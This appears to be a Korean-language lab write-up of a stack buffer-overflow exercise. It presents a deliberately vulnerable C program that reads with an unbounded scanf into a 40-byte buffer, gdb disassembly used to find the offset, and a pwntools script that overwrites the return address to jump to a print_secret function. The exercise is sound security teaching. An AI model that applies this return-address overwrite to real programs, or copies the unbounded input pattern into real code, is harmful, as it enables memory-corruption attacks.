#include <stdio.h>
/* This function will print a secret string to you. Your goal is to execute this
* function by exploiting buffer overflow vulnerability.
*/
void print_secret(void);
void echo(void) {
char buf2[40];
char buf1[40];
puts("Input your first message:");
fgets(buf1, sizeof(buf1), stdin);
printf("%s", buf1);
puts("Input your second message:");
scanf("%s", buf2);
puts(buf2);
}
int main(void) {
echo();
return 0;
}
echo2.c는 이렇게 구성되어 있다.
main함수를 disassemble하여 echo함수의 return address를 구해보자.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040128d <+0>: sub $0x8,%rsp
0x0000000000401291 <+4>: call 0x40122c <echo>
0x0000000000401296 <+9>: mov $0x0,%eax
0x000000000040129b <+14>: add $0x8,%rsp
0x000000000040129f <+18>: ret
End of assembler dump.
echo함수의 return address는 0x401296인 것을 알 수 있다.
(gdb) disas print_secret
Dump of assembler code for function print_secret:
0x00000000004011a6 <+0>: push %rbx
print_secret함수의 시작 주소는 0x4011a6인 것을 알 수 있다.
그럼 이제 echo2.bin을 disassemble 해보자.
(gdb) disas echo
Dump of assembler code for function echo:
0x000000000040122c <+0>: sub $0x68,%rsp
0x0000000000401230 <+4>: mov $0x40204e,%edi
0x0000000000401235 <+9>: call 0x401030 <puts@plt>
0x000000000040123a <+14>: mov 0x2e2f(%rip),%rdx # 0x404070 <stdin@@GLIBC_2.2.5>
0x0000000000401241 <+21>: mov $0x28,%esi
0x0000000000401246 <+26>: mov %rsp,%rdi
0x0000000000401249 <+29>: call 0x401080 <fgets@plt>
0x000000000040124e <+34>: mov %rsp,%rsi
0x0000000000401251 <+37>: mov $0x402068,%edi
0x0000000000401256 <+42>: mov $0x0,%eax
0x000000000040125b <+47>: call 0x401060 <printf@plt>
0x0000000000401260 <+52>: mov $0x40206b,%edi
0x0000000000401265 <+57>: call 0x401030 <puts@plt>
0x000000000040126a <+62>: lea 0x30(%rsp),%rsi
0x000000000040126f <+67>: mov $0x402068,%edi
0x0000000000401274 <+72>: mov $0x0,%eax
0x0000000000401279 <+77>: call 0x4010a0 <__isoc99_scanf@plt>
0x000000000040127e <+82>: lea 0x30(%rsp),%rdi
0x0000000000401283 <+87>: call 0x401030 <puts@plt>
0x0000000000401288 <+92>: add $0x68,%rsp
0x000000000040128c <+96>: ret
%rsp를 0x68만큼 내려 스택에 공간을 할당했다.
0x68 = 16 * 6 + 8 = 104 -> 104 / 8 = 13칸
먼저 buf1를 %rsp에 저장하고
buf2는 %rsp+0x30에 저장했다. -> 6칸 위
buf2가 저장되는 공간부터 return address까지는 총 7칸이므로
buf2 입력에 A를 56번(0x38) 받고 그 다음에 print_secret 시작 주소를 받으면 되겠다.

이제 이걸 exploit 코드로 짜보면
#!/usr/bin/python3
from pwn import *
def exploit():
# Write your exploit logic here.
p = process("./echo2.bin")
print(p.recvuntil(b"message:\n"))
p.sendline(b"A")
# print(p.recvline())
print(p.recvuntil(b"message:\n"))
p.sendline(b"A" * 0x38 + b"\xa6\x11\x40")
print(p.recvline())
print(p.recvline())
if __name__ == "__main__":
exploit()